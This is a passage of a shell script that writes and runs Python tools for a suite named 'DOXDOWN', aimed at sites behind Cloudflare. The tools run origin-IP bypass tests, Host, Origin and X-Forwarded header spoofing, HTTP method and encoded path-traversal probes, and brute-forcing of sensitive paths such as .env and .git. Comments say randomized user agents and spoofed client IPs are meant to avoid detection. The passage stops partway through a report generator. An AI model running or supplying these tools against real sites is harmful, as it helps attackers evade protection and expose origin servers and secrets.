            "Accept-Language": "en-US,en;q=0.5"
        }
    
    try:
        response = requests.request(
            method,
            url,
            headers=headers,
            timeout=10,
            allow_redirects=False
        )
        time.sleep(1)  # Be gentle
        return response
    except Exception as e:
        print(f"Error requesting {url}: {e}")
        return None

def get_baseline_response():
    print("Getting baseline response...")
    return make_request(target_url)

def test_direct_ip():
    """Try to resolve and connect directly to origin IP"""
    print("Testing direct IP connection bypass...")
    results = []
    
    try:
        # Try to get IP addresses for the domain
        ip_addresses = []
        try:
            # Traditional DNS lookup
            ip_addresses = socket.gethostbyname_ex(target_domain)[2]
        except:
            pass
        
        if not ip_addresses:
            return [{
                "test": "Direct IP Connection",
                "status": "Skip",
                "reason": "Could not resolve domain IP addresses"
            }]
        
        # Test direct IP connection
        for ip in ip_addresses:
            print(f"Testing direct connection to {ip}...")
            
            # Create URL with IP instead of domain
            scheme = parsed.scheme
            path = parsed.path or "/"
            direct_url = f"{scheme}://{ip}{path}"
            
            # Add Host header to specify the domain
            headers = {
                "User-Agent": random.choice(user_agents),
                "Host": target_domain
            }
            
            response = make_request(direct_url, headers)
            
            if response:
                # Check if this bypasses Cloudflare
                cf_headers = [h for h in response.headers if h.lower().startswith("cf-")]
                
                result = {
                    "test": "Direct IP Connection",
                    "ip_tested": ip,
                    "status_code": response.status_code,
                    "cf_headers_present": len(cf_headers) > 0,
                    "headers": dict(response.headers),
                    "status": "Success" if len(cf_headers) == 0 and response.status_code != 403 else "Failed"
                }
                
                if result["status"] == "Success":
                    result["note"] = "⚠️ Potential bypass found - direct IP connection works without Cloudflare!"
                    print(f"POTENTIAL BYPASS: Cloudflare bypass possible via direct IP: {ip}")
                
                results.append(result)
    except Exception as e:
        print(f"Error testing direct IP connection: {e}")
        results.append({
            "test": "Direct IP Connection",
            "status": "Error",
            "error": str(e)
        })
    
    return results

def test_host_header_spoofing():
    """Test if Host header can be manipulated to bypass Cloudflare"""
    print("Testing Host header spoofing bypass...")
    results = []
    
    test_hosts = [
        "localhost",
        "localhost.localdomain",
        "127.0.0.1",
        "internal.local",
        target_domain.replace("www.", ""),
        f"www2.{target_domain}",
        f"origin-{target_domain}",
        f"origin.{target_domain}",
        f"cpanel.{target_domain}",
        f"webmail.{target_domain}"
    ]
    
    for host in test_hosts:
        print(f"Testing Host: {host}")
        
        headers = {
            "User-Agent": random.choice(user_agents),
            "Host": host,
            "X-Forwarded-For": random_ip()
        }
        
        response = make_request(target_url, headers)
        
        if response:
            # Check for interesting responses
            cf_headers = [h for h in response.headers if h.lower().startswith("cf-")]
            
            result = {
                "test": "Host Header Spoofing",
                "host_tested": host,
                "status_code": response.status_code,
                "cf_headers_present": len(cf_headers) > 0,
                "content_length": len(response.content),
                "status": "Interesting" if (response.status_code in [200, 301, 302, 307, 308] and
                                          len(cf_headers) == 0) else "Normal"
            }
            
            if result["status"] == "Interesting":
                result["note"] = "Potential host header manipulation issue"
                print(f"INTERESTING: Host header '{host}' returned status {response.status_code} without CF headers")
            
            results.append(result)
    
    return results

def test_origin_header():
    """Test if Origin header can help bypass protection"""
    print("Testing Origin header bypass...")
    origins = [
        "null",
        "https://localhost",
        "https://127.0.0.1",
        "https://internal.local",
        f"https://{target_domain}",
        "https://evil.com"
    ]
    
    results = []
    
    for origin in origins:
        print(f"Testing Origin: {origin}")
        
        headers = {
            "User-Agent": random.choice(user_agents),
            "Origin": origin,
            "X-Forwarded-For": random_ip()
        }
        
        response = make_request(target_url, headers)
        
        if response:
            cors_headers = {k: v for k, v in response.headers.items() 
                           if k.lower().startswith("access-control")}
            
            result = {
                "test": "Origin Header",
                "origin_tested": origin,
                "status_code": response.status_code,
                "cors_headers": cors_headers,
                "status": "Interesting" if cors_headers else "Normal"
            }
            
            if cors_headers:
                acao = response.headers.get("Access-Control-Allow-Origin", "")
                if acao == "*" or acao == origin:
                    result["note"] = f"CORS is enabled for {acao}"
                    if "evil.com" in origin and origin in acao:
                        result["warning"] = "⚠️ CORS misconfiguration allows evil.com!"
                        print(f"VULNERABILITY: CORS misconfigured to allow {origin}")
            
            results.append(result)
    
    return results

def test_x_forwarded_headers():
    """Test if X-Forwarded headers can be used for bypass"""
    print("Testing X-Forwarded header bypass...")
    
    # Private IPs to test for internal access
    private_ips = [
        "127.0.0.1",
        "10.0.0.1",
        "172.16.0.1",
        "192.168.1.1"
    ]
    
    x_forwarded_headers = [
        "X-Forwarded-For",
        "X-Forwarded-Host",
        "X-Client-IP",
        "X-Real-IP",
        "X-Remote-IP",
        "X-Remote-Addr",
        "X-Host"
    ]
    
    results = []
    
    for header in x_forwarded_headers:
        for ip in private_ips:
            print(f"Testing {header}: {ip}")
            
            headers = {
                "User-Agent": random.choice(user_agents),
                header: ip
            }
            
            response = make_request(target_url, headers)
            
            if response:
                result = {
                    "test": "X-Forwarded Headers",
                    "header_tested": f"{header}: {ip}",
                    "status_code": response.status_code,
                    "content_length": len(response.content),
                    "cf_ray": response.headers.get("CF-RAY", "Not present"),
                    "status": "Normal"
                }
                
                # Compare to baseline response
                if response.status_code not in [403, 503] and "CF-RAY" not in response.headers:
                    result["status"] = "Interesting"
                    result["note"] = "Response doesn't include Cloudflare headers"
                    print(f"INTERESTING: {header}: {ip} might bypass Cloudflare")
                
                results.append(result)
    
    return results

def test_http_methods():
    """Test non-standard HTTP methods"""
    print("Testing HTTP method bypass...")
    
    methods = ["GET", "POST", "PUT", "DELETE", "OPTIONS", "TRACE", "CONNECT", "PATCH", "PROPFIND", "DEBUG"]
    results = []
    
    for method in methods:
        print(f"Testing HTTP method: {method}")
        
        headers = {
            "User-Agent": random.choice(user_agents),
            "X-Forwarded-For": random_ip()
        }
        
        response = make_request(target_url, headers, method=method)
        
        if response:
            result = {
                "test": "HTTP Methods",
                "method_tested": method,
                "status_code": response.status_code,
                "headers": dict(response.headers),
                "status": "Normal"
            }
            
            # Check for unusual responses
            if method not in ["GET", "POST"] and response.status_code in [200, 301, 302, 307]:
                result["status"] = "Interesting"
                result["note"] = f"Unusual HTTP method {method} returns {response.status_code}"
                print(f"INTERESTING: {method} method returns {response.status_code}")
            
            if method == "TRACE" and response.status_code == 200:
                result["status"] = "Vulnerable"
                result["note"] = "⚠️ TRACE method enabled - potential security issue!"
                print("VULNERABILITY: TRACE method is enabled")
            
            results.append(result)
    
    return results

def test_path_traversal():
    """Test for path traversal through Cloudflare"""
    print("Testing path traversal...")
    
    traversal_paths = [
        "/..",
        "/../",
        "/../../",
        "/%2e%2e/",
        "/%252e%252e/",
        "/..;/",
        "/;/",
        "/.././",
        "/./",
        "/;foo=bar/"
    ]
    
    results = []
    
    for path in traversal_paths:
        test_url = target_url.rstrip("/") + path
        print(f"Testing path: {test_url}")
        
        headers = {
            "User-Agent": random.choice(user_agents),
            "X-Forwarded-For": random_ip()
        }
        
        response = make_request(test_url, headers)
        
        if response:
            result = {
                "test": "Path Traversal",
                "path_tested": path,
                "status_code": response.status_code,
                "content_length": len(response.content),
                "status": "Normal"
            }
            
            # Check for unusual responses
            if response.status_code in [200, 301, 302, 307, 308]:
                result["status"] = "Interesting"
                result["note"] = f"Path {path} returns {response.status_code}"
                print(f"INTERESTING: Path {path} returns {response.status_code}")
            
            results.append(result)
    
    return results

def main():
    baseline = get_baseline_response()
    if not baseline:
        print("Error: Couldn't get baseline response from target")
        return
    
    print(f"Baseline response: Status: {baseline.status_code}, CF-RAY: {baseline.headers.get('CF-RAY', 'Not present')}")
    
    # Dictionary to store all results
    all_results = {
        "target_url": target_url,
        "target_domain": target_domain,
        "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
        "baseline": {
            "status_code": baseline.status_code,
            "cf_ray": baseline.headers.get("CF-RAY", "Not present"),
            "cloudflare_headers": {k: v for k, v in baseline.headers.items() if k.lower().startswith("cf-")}
        },
        "tests": {}
    }
    
    # Run tests in parallel with threadpool
    print("Starting Cloudflare bypass tests...")
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        # Map test functions to their names
        test_functions = {
            "direct_ip": test_direct_ip,
            "host_header": test_host_header_spoofing,
            "origin_header": test_origin_header,
            "x_forwarded": test_x_forwarded_headers,
            "http_methods": test_http_methods,
            "path_traversal": test_path_traversal
        }
        
        # Submit all tests
        future_to_test = {executor.submit(func): test_name for test_name, func in test_functions.items()}
        
        # Process results as they complete
        for future in concurrent.futures.as_completed(future_to_test):
            test_name = future_to_test[future]
            try:
                results = future.result()
                all_results["tests"][test_name] = results
                print(f"Completed test: {test_name}")
            except Exception as e:
                print(f"Error in {test_name}: {e}")
                all_results["tests"][test_name] = [{"test": test_name, "status": "Error", "error": str(e)}]
    
    # Save all results to JSON file
    with open(output_file, "w") as f:
        json.dump(all_results, f, indent=2)
    
    print(f"All tests completed. Results saved to {output_file}")
    
    # Print summary of interesting findings
    interesting_count = 0
    print("\nSummary of potential issues:")
    
    for test_name, results in all_results["tests"].items():
        for result in results:
            if "status" in result and result["status"] in ["Vulnerable", "Success", "Interesting"]:
                interesting_count += 1
                note = result.get("note", "Interesting finding")
                warning = result.get("warning", "")
                print(f"- {note} {warning}")
                
                # Additional details
                if "ip_tested" in result:
                    print(f"  IP tested: {result['ip_tested']}")
                if "host_tested" in result:
                    print(f"  Host tested: {result['host_tested']}")
                if "header_tested" in result:
                    print(f"  Header tested: {result['header_tested']}")
                if "method_tested" in result:
                    print(f"  Method tested: {result['method_tested']}")
                if "path_tested" in result:
                    print(f"  Path tested: {result['path_tested']}")
                
                print(f"  Status code: {result.get('status_code', 'N/A')}")
                print()
    
    if interesting_count == 0:
        print("No interesting findings detected.")
    else:
        print(f"Found {interesting_count} potential issues.")

if __name__ == "__main__":
    main()
EOL

chmod +x vulnerabilities/cloudflare_bypass.py

# Run Cloudflare bypass tests
log "INFO" "Running Cloudflare bypass tests..."
python3 vulnerabilities/cloudflare_bypass.py "$TARGET_URL"

# =====================================
# Phase 4: Content Discovery
# =====================================
log "INFO" "========== PHASE 4: CONTENT DISCOVERY =========="

# Create custom wordlist
log "INFO" "Creating custom wordlist..."
cat > "enumeration/create_wordlist.py" << 'EOL'
#!/usr/bin/env python3
import os
import sys
import json
from urllib.parse import urlparse, parse_qs
import re

INPUT_DIR = sys.argv[1]
OUTPUT_FILE = sys.argv[2]

# List of common directories/files to include
common_paths = [
    "admin", "administrator", "login", "wp-login.php", "wp-admin", 
    "dashboard", "control", "panel", "cpanel", "phpmyadmin", 
    "config", "configuration", "settings", "setup", "install",
    "backup", "bak", "old", "dev", "development", "staging", "test",
    "beta", "alpha", "production", "prod", "api", "v1", "v2", "api/v1",
    "download", "uploads", "files", "docs", "documentation", "help",
    "status", "phpinfo.php", "info.php", "test.php", "debug", "console",
    ".git", ".env", ".htaccess", ".htpasswd", "robots.txt", "sitemap.xml",
    "server-status", "log", "logs", "tmp", "temp", "cache"
]

def extract_path_words_from_url(url):
    """Extract words from URL paths"""
    parsed = urlparse(url)
    path = parsed.path
    
    # Skip empty paths or single slash
    if not path or path == "/":
        return []
    
    # Split path into components
    path_words = []
    for component in path.split('/'):
        if component and not component.startswith('.'):  # Skip empty parts and hidden files
            # Handle hyphens and underscores
            for word in re.findall(r'[a-zA-Z0-9]+', component):
                if len(word) > 2:  # Only include words longer than 2 chars
                    path_words.append(word.lower())
            
            # Also add the full component
            if len(component) > 2:
                path_words.append(component.lower())
    
    return path_words

def extract_query_params(url):
    """Extract parameter names from URL query strings"""
    parsed = urlparse(url)
    if not parsed.query:
        return []
    
    params = parse_qs(parsed.query)
    return [param.lower() for param in params.keys()]

def extract_words_from_js(js_content):
    """Extract potential endpoint words from JavaScript files"""
    # Look for URL paths
    words = set()
    
    # URL patterns
    path_pattern = re.compile(r'["\'](\/?[a-zA-Z0-9_\-\/]+)["\']')
    paths = path_pattern.findall(js_content)
    
    for path in paths:
        # Skip empty or very short paths
        if not path or len(path) <= 2:
            continue
            
        # Process each path component
        for component in path.split('/'):
            if component and len(component) > 2:
                words.add(component.lower())
    
    # Function and variable names that might be endpoints
    endpoint_pattern = re.compile(r'function\s+([a-zA-Z0-9_]+)|\.([a-zA-Z0-9_]+)\(')
    potential_endpoints = endpoint_pattern.findall(js_content)
    
    for func_group in potential_endpoints:
        for func in func_group:
            if func and len(func) > 2:
                words.add(func.lower())
    
    return list(words)

# Main wordlist generation
def generate_wordlist():
    wordlist = set(common_paths)  # Start with common paths
    
    # Process crawled URLs
    try:
        with open(f"{INPUT_DIR}/crawled_urls.json", "r") as f:
            urls = json.load(f)
            for url in urls:
                # Extract words from URL paths
                words = extract_path_words_from_url(url)
                wordlist.update(words)
                
                # Extract parameter names
                params = extract_query_params(url)
                wordlist.update(params)
    except Exception as e:
        print(f"Error processing URLs: {e}")
    
    # Process JS files
    try:
        js_dir = INPUT_DIR
        for file in os.listdir(js_dir):
            if file.startswith("js_") and not file.endswith(".json"):
                js_path = os.path.join(js_dir, file)
                with open(js_path, "r", encoding="utf-8", errors="ignore") as f:
                    try:
                        content = f.read()
                        words = extract_words_from_js(content)
                        wordlist.update(words)
                    except Exception as e:
                        print(f"Error reading JS file {file}: {e}")
    except Exception as e:
        print(f"Error processing JS files: {e}")
    
    # Process forms for field names
    try:
        with open(f"{INPUT_DIR}/forms.json", "r") as f:
            forms = json.load(f)
            for form in forms:
                for field in form.get("fields", []):
                    name = field.get("name", "")
                    if name and len(name) > 2:
                        wordlist.add(name.lower())
    except Exception as e:
        print(f"Error processing forms: {e}")
    
    # Save to file
    with open(OUTPUT_FILE, "w") as f:
        for word in sorted(wordlist):
            f.write(f"{word}\n")
    
    return len(wordlist)

# Generate wordlist and print stats
word_count = generate_wordlist()
print(f"Generated wordlist with {word_count} unique entries in {OUTPUT_FILE}")
EOL

chmod +x enumeration/create_wordlist.py

# Create wordlist
log "INFO" "Generating custom wordlist..."
python3 enumeration/create_wordlist.py "enumeration/crawl_results" "enumeration/wordlists/custom_wordlist.txt"

# Create content discovery script
cat > "enumeration/content_discovery.py" << 'EOL'
#!/usr/bin/env python3
import requests
import time
import random
import sys
import os
import json
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin

# Configuration
TARGET_URL = sys.argv[1]
WORDLIST_FILE = sys.argv[2]
OUTPUT_FILE = "content_discovery_results.json"
MAX_THREADS = 10
REQUEST_DELAY = 0.5  # Seconds between requests (per thread)
MAX_RETRIES = 3 

# Load wordlist
with open(WORDLIST_FILE, "r") as f:
    wordlist = [line.strip() for line in f if line.strip()]

print(f"Loaded wordlist with {len(wordlist)} entries")

# Random user agents
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
]

# Random delay to avoid detection
def get_random_delay():
    return random.uniform(REQUEST_DELAY, REQUEST_DELAY * 2.0)

# Generate random IP for headers
def random_ip():
    return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

# Test a single path
def check_path(path):
    url = urljoin(TARGET_URL, path)
    retries = 0
    
    while retries < MAX_RETRIES:
        try:
            # Randomize headers to avoid detection
            headers = {
                "User-Agent": random.choice(user_agents),
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.5",
                "Connection": "close",
                "X-Forwarded-For": random_ip()
            }
            
            response = requests.get(url, headers=headers, timeout=10, allow_redirects=False)
            time.sleep(get_random_delay())  # Be polite, add delay
            
            # Check content-type and size for "not found" detection
            content_type = response.headers.get("Content-Type", "")
            size = len(response.content)
            
            # Skip common error pages based on size and content-type
            result = {
                "path": path,
                "url": url,
                "status_code": response.status_code,
                "content_type": content_type,
                "content_length": size
            }
            
            # Check for interesting status codes
            if response.status_code in [200, 201, 204, 301, 302, 307, 401, 403]:
                if response.status_code in [301, 302, 307, 308]:
                    result["redirect_location"] = response.headers.get("Location", "")
                
                # For 200 responses, determine if this is a custom 404 page
                if response.status_code == 200:
                    # A very basic heuristic for custom 404 detection
                    # This can be improved with more sophisticated methods
                    if "not found" in response.text.lower() or "404" in response.text:
                        result["likely_custom_404"] = True
                    else:
                        result["likely_custom_404"] = False
                
                return result
            
            return None  # Skip non-interesting status codes
            
        except requests.exceptions.RequestException as e:
            retries += 1
            if retries >= MAX_RETRIES:
                return {
                    "path": path,
                    "url": url,
                    "error": str(e),
                    "status": "error"
                }
            time.sleep(get_random_delay() * 2)  # Longer delay on error
    
    return None

# Progress tracking
class ProgressTracker:
    def __init__(self, total):
        self.total = total
        self.completed = 0
        self.found = 0
        self.start_time = time.time()
    
    def update(self, found=False):
        self.completed += 1
        if found:
            self.found += 1
        self._print_progress()
    
    def _print_progress(self):
        elapsed = time.time() - self.start_time
        rps = self.completed / elapsed if elapsed > 0 else 0
        eta = (self.total - self.completed) / rps if rps > 0 else 0
        
        percent = (self.completed / self.total) * 100
        bar_length = 30
        filled_length = int(bar_length * self.completed // self.total)
        bar = '█' * filled_length + '░' * (bar_length - filled_length)
        
        print(f"\r[{bar}] {percent:.1f}% | {self.completed}/{self.total} | Found: {self.found} | RPS: {rps:.1f} | ETA: {eta:.0f}s ", end="")
        
        if self.completed == self.total:
            print()  # End with newline when done

# Main function
def main():
    results = []
    tracker = ProgressTracker(len(wordlist))
    
    print(f"Starting content discovery on {TARGET_URL}")
    print(f"Using {MAX_THREADS} threads, delays between {REQUEST_DELAY} and {REQUEST_DELAY*2} seconds")

    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        future_to_path = {executor.submit(check_path, path): path for path in wordlist}
        
        for future in future_to_path:
            result = future.result()
            if result:
                found = True
                if result.get("status") == "error":
                    found = False
                elif result.get("likely_custom_404") is True:
                    found = False
                
                if found:
                    results.append(result)
                    print(f"\nFOUND: {result['url']} ({result['status_code']})")
                
                tracker.update(found=found)
            else:
                tracker.update(found=False)
    
    # Save results to JSON
    with open(OUTPUT_FILE, "w") as f:
        json.dump(results, f, indent=2)
    
    print(f"\nContent discovery complete. Found {len(results)} resources.")
    print(f"Results saved to {OUTPUT_FILE}")
    
    # Print summary of findings by status code
    status_counts = {}
    for result in results:
        status = result.get("status_code", "error")
        if status not in status_counts:
            status_counts[status] = 0
        status_counts[status] += 1
    
    print("\nStatus code summary:")
    for status, count in sorted(status_counts.items()):
        print(f"  {status}: {count}")

if __name__ == "__main__":
    main()
EOL

chmod +x enumeration/content_discovery.py

# Run content discovery
log "INFO" "Running content discovery..."
python3 enumeration/content_discovery.py "$TARGET_URL" "enumeration/wordlists/custom_wordlist.txt"

# =====================================
# Phase 5: Report Generation
# =====================================
log "INFO" "========== PHASE 5: REPORT GENERATION =========="

# Create report generation script
log "INFO" "Generating final report..."
cat > "generate_report.py" << 'EOL'
#!/usr/bin/env python3
import json
import os
import sys
import datetime
import socket
from urllib.parse import urlparse

# Configuration
TARGET_URL = sys.argv[1]
REPORT_FILE = "DOXDOWN_REPORT.md"
DATA_DIR = "."

# Parse domain from URL
parsed_url = urlparse(TARGET_URL)
TARGET_DOMAIN = parsed_url.netloc

# Helper function to load JSON data
def load_json(filename, default=None):
    try:
        with open(filename, 'r') as f:
            return json.load(f)
    except Exception as e:
        print(f"Error loading {filename}: {e}")
        return default or {}

def get_file_count(directory, prefix=""):
    if not os.path.exists(directory):
        return 0
    return len([f for f in os.listdir(directory) if f.startswith(prefix) and os.path.isfile(os.path.join(directory, f))])

def get_domain_info():
    info = {}
    
    # IP Addresses
    try:
        info["ip_addresses"] = socket.gethostbyname_ex(TARGET_DOMAIN)[2]
    except:
        info["ip_addresses"] = ["Could not resolve"]
    
    # SSL/TLS Info
    info["ssl"] = "Not checked"
    
    # Cloudflare detection
    cf_file = "recon/initial_headers.txt"
    if os.path.exists(cf_file):
        with open(cf_file, "r") as f:
            headers = f.read()
            info["cloudflare"] = "server: cloudflare" in headers.lower()
    else:
        info["cloudflare"] = "Unknown"
    
    # Site title
    title_file = "recon/site_title.txt"
    if os.path.exists(title_file):
        with open(title_file, "r") as f:
            info["title"] = f.read().strip()
    else:
        info["title"] = "Unknown"
    
    return info

def generate_report():
    # Start gathering data
    domain_info = get_domain_info()
    cloudflare_results = load_json("cloudflare_bypass_results.json")
    content_discovery = load_json("content_discovery_results.json", [])
    vulnerabilities = load_json("vulnerability_findings.json", [])
    
    # Pages data
    pages_file = "enumeration/crawl_results/pages.json"
    pages = load_json(pages_file, [])
    
    # Interesting findings
    interesting_file = "enumeration/crawl_results/interesting.json"
    interesting = load_json(interesting_file, {})
    
    # Technologies
    tech_file = "enumeration/crawl_results/technologies.json"
    technologies = load_json(tech_file, [])
    
    # Start writing the report
    with open(REPORT_FILE, "w") as report:
        # Header
        report.write(f"# DOXDOWN Security Assessment Report\n\n")
        report.write(f"**Target:** {TARGET_URL}  \n")
        report.write(f"**Date:** {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}  \n")
        report.write(f"**Report Version:** 1.0  \n\n")
        
        # TOC
        report.write("## Table of Contents\n\n")
        report.write("1. [Executive Summary](#executive-summary)\n")
        report.write("2. [Target Information](#target-information)\n")
        report.write("3. [Methodology](#methodology)\n")
        report.write("4. [Findings & Vulnerabilities](#findings--vulnerabilities)\n")
        report.write("5. [Cloudflare Protection Analysis](#cloudflare-protection-analysis)\n")
        report.write("6. [Content Discovery](#content-discovery)\n")
        report.write("7. [Technical Details](#technical-details)\n")
        report.write("8. [Recommendations](#recommendations)\n")
        report.write("9. [Appendices](#appendices)\n\n")
        
        # Executive Summary
        report.write("## Executive Summary\n\n")
        report.write("This report presents the findings of the security assessment conducted on ")
        report.write(f"{TARGET_URL}. The assessment was performed using DOXDOWN, ")
        report.write("a specialized security tool for Cloudflare-protected websites.\n\n")
        
        # Summary of findings
        vuln_count = len(vulnerabilities)
        cloudf_bypass_count = 0
        if cloudflare_results and "tests" in cloudflare_results:
            for test_type, results in cloudflare_results["tests"].items():
                for result in results:
                    if result.get("status") in ["Success", "Interesting", "Vulnerable"]:
                        cloudf_bypass_count += 1
        
        content_count = len(content_discovery)
        
        report.write(f"**Key Statistics:**\n")
        report.write(f"- **Potential Vulnerabilities:** {vuln_count}\n")
        report.write(f"- **Cloudflare Bypass Techniques:** {cloudf_bypass_count}\n")
        report.write(f"- **Sensitive Content Discovered:** {content_count}\n")
        report.write(f"- **Pages Crawled:** {len(pages)}\n\n")
        
        # Critical findings summary
        report.write("**Critical Findings Summary:**\n\n")
        
        if vuln_count > 0 or cloudf_bypass_count > 0:
            if vuln_count > 0:
                # Group vulnerabilities by type
                vuln_types = {}
                for vuln in vulnerabilities:
                    v_type = vuln.get("type", "Unknown")
                    if v_type not in vuln_types:
                        vuln_types[v_type] = 0
                    vuln_types[v_type] += 1
                
                report.write("The following vulnerabilities were identified:\n\n")
                for v_type, count in vuln_types.items():
                    report.write(f"- {v_type}: {count} instances\n")
                report.write("\n")
            
            if cloudf_bypass_count > 0:
                report.write("Potential Cloudflare bypass techniques were identified that could ")
                report.write("expose the origin server to direct attacks, bypassing Cloudflare protection.\n\n")
        else:
            report.write("No critical security vulnerabilities were identified during this assessment.\n\n")
        
        # Target Information
        report.write("## Target Information\n\n")
        report.write(f"- **Domain:** {TARGET_DOMAIN}\n")
        report.write(f"- **IP Address(es):** {', '.join(domain_info.get('ip_addresses', ['Unknown']))}\n")
        report.write(f"- **Cloudflare Protected:** {'Yes' if domain_info.get('cloudflare') else 'No'}\n")
        report.write(f"- **Site Title:** {domain_info.get('title', 'Unknown')}\n\n")
        
        # Technologies
        if technologies:
            report.write("**Detected Technologies:**\n\n")
            for tech in technologies[:15]:  # Limit to 15 to avoid overwhelming
                report.write(f"- {tech}\n")
            if len(technologies) > 15:
                report.write(f"- *And {len(technologies) - 15} more...*\n")
            report.write("\n")
        
        # Methodology
        report.write("## Methodology\n\n")
        report.write("The security assessment followed a structured methodology designed specifically ")
        report.write("for Cloudflare-protected websites:\n\n")
        report.write("1. **Reconnaissance**\n")
        report.write("   - DNS and subdomain enumeration\n")
        report.write("   - Identifying Cloudflare presence and configuration\n")
        report.write("   - Technology stack identification\n\n")
        report.write("2. **Cloudflare Analysis**\n")
        report.write("   - Testing for origin server exposure\n")
        report.write("   - Cloudflare bypass techniques\n")
        report.write("   - WAF rule testing\n\n")
        report.write("3. **Website Mapping**\n")
        report.write("   - Intelligent crawling with Cloudflare avoidance\n")
        report.write("   - API endpoint discovery\n")
        report.write("   - Content discovery\n\n")
        report.write("4. **Vulnerability Assessment**\n")
        report.write("   - Automated testing for common vulnerabilities\n")
        report.write("   - Custom payload testing\n")
        report.write("   - Cloudflare bypass verification\n\n")
        
        # Findings & Vulnerabilities Section
        report.write("## Findings & Vulnerabilities\n\n")
        
        if vulnerabilities:
            report.write("### Identified Vulnerabilities\n\n")
            report.write("| Type | URL | Parameter | Severity |\n")
            report.write("|------|-----|-----------|----------|\n")
            
            for vuln in vulnerabilities:
                v_type = vuln.get("type", "Unknown")
                url = vuln.get("url", "Unknown")
                param = vuln.get("parameter", vuln.get("field", "N/A"))
                
                # Determine severity based on vulnerability type
                severity = "Medium"
                if v_type.lower() in ["sqli", "rce", "command_injection"]:
                    severity = "High"
                elif v_type.lower() in ["open_redirect", "information disclosure"]:
                    severity = "Low"
                
                report.write(f"| {v_type} | {url} | {param} | {severity} |\n")
            
            report.write("\n")
            
            # Detailed findings for top vulnerabilities
            report.write("### Detailed Vulnerability Analysis\n\n")
            
            for i, vuln in enumerate(vulnerabilities[:5]):  # Limit to top 5 for brevity
                v_type = vuln.get("type", "Unknown")
                url = vuln.get("url", "Unknown")
                param = vuln.get("parameter", vuln.get("field", "N/A"))
                evidence = vuln.get("evidence", "No specific evidence captured")
                
                report.write(f"#### {i+1}. {v_type} at {url}\n\n")
                report.write(f"**Affected Parameter:** {param}\n")
                report.write(f"**Evidence:** `{evidence}`\n")
                report.write(f"**Description:** The application appears vulnerable to {v_type}.\n")
                
                # Add specific recommendations based on vulnerability type
                if "sqli" in v_type.lower():
                    report.write("**Recommendation:** Implement parameterized queries and input validation.\n\n")
                elif "xss" in v_type.lower():
                    report.write("**Recommendation:** Implement proper output encoding and Content-Security-Policy.\n\n")
                elif "injection" in v_type.lower():
                    report.write("**Recommendation:** Avoid using system commands with user input, implement strict input validation.\n\n")
                else:
                    report.write("**Recommendation:** Implement proper input validation and output sanitization.\n\n")
            
            if len(vulnerabilities) > 5:
                report.write(f"*Note: {len(vulnerabilities) - 5} additional vulnerabilities were found. See the full details in the appendices.*\n\n")
        else:
            report.write("No significant vulnerabilities were identified during the assessment. ")
            report.write("This suggests the application has adequate security controls in place ")
            report.write("or that further manual testing might be required to uncover more subtle issues.\n\n")
        
        # Interesting findings section
        if interesting:
            report.write("### Interesting Findings\n\n")
            
            # Admin pages
            if "admin_pages" in interesting and interesting["admin_pages"]:
                report.write("#### Administrative Interfaces\n\n")
                report.write("The following potential administrative interfaces were discovered:\n\n")
                for admin_url in interesting["admin_pages"][:10]:
                    report.write(f"- {admin_url}\n")
                if len(interesting["admin_pages"]) > 10:
                    report.write(f"- *And {len(interesting['admin_pages']) - 10} more...*\n")
                report.write("\n")
            
            # API endpoints
            if "api_endpoints" in interesting and interesting["api_endpoints"]:
                report.write("#### API Endpoints\n\n")
                report.write("The following API endpoints were discovered:\n\n")
                for api_url in interesting["api_endpoints"][:10]:
                    report.write(f"- {api_url}\n")
                if len(interesting["api_endpoints"]) > 10:
                    report.write(f"- *And {len(interesting['api_endpoints']) - 10} more...*\n")
                report.write("\n")
            
            # File upload forms
            if "file_uploads" in interesting and interesting["file_uploads"]:
                report.write("#### File Upload Functionality\n\n")
                report.write("The following file upload capabilities were identified:\n\n")
                for upload_url in interesting["file_uploads"]:
                    report.write(f"- {upload_url}\n")
                report.write("\n")
        
        # Cloudflare Protection Analysis
        report.write("## Cloudflare Protection Analysis\n\n")
        
        if cloudflare_results:
            # Baseline information
            if "baseline" in cloudflare_results:
                baseline = cloudflare_results["baseline"]
                report.write("### Cloudflare Configuration\n\n")
                report.write(f"The target domain is protected by Cloudflare as verified by the presence of Cloudflare HTTP headers.\n\n")
                report.write("**Cloudflare Headers:**\n\n")
                for header, value in baseline.get("cloudflare_headers", {}).items():
                    report.write(f"- {header}: {value}\n")
                report.write("\n")
            
            # Bypass findings
            report.write("### Cloudflare Bypass Assessment\n\n")
            
            bypass_found = False
            for test_type, results in cloudflare_results.get("tests", {}).items():
                for result in results:
                    if result.get("status") in ["Success", "Interesting", "Vulnerable"]:
                        bypass_found = True
                        break
                if bypass_found:
                    break
            
            if bypass_found:
                report.write("⚠️ **CRITICAL ISSUE**: Potential Cloudflare bypass techniques were identified.\n\n")
                
                report.write("The following methods might allow bypassing Cloudflare protection:\n\n")
                
                # Direct IP findings
                if "direct_ip" in cloudflare_results.get("tests", {}):
                    for result in cloudflare_results["tests"]["direct_ip"]:
                        if result.get("status") == "Success":
                            report.write(f"- **Direct IP Access**: Origin server IP ({result.get('ip_tested', 'Unknown')}) ")
                            report.write("may be directly accessible, bypassing Cloudflare\n")
                
                # Host header findings
                if "host_header" in cloudflare_results.get("tests", {}):
                    for result in cloudflare_results["tests"]["host_header"]:
                        if result.get("status") == "Interesting":
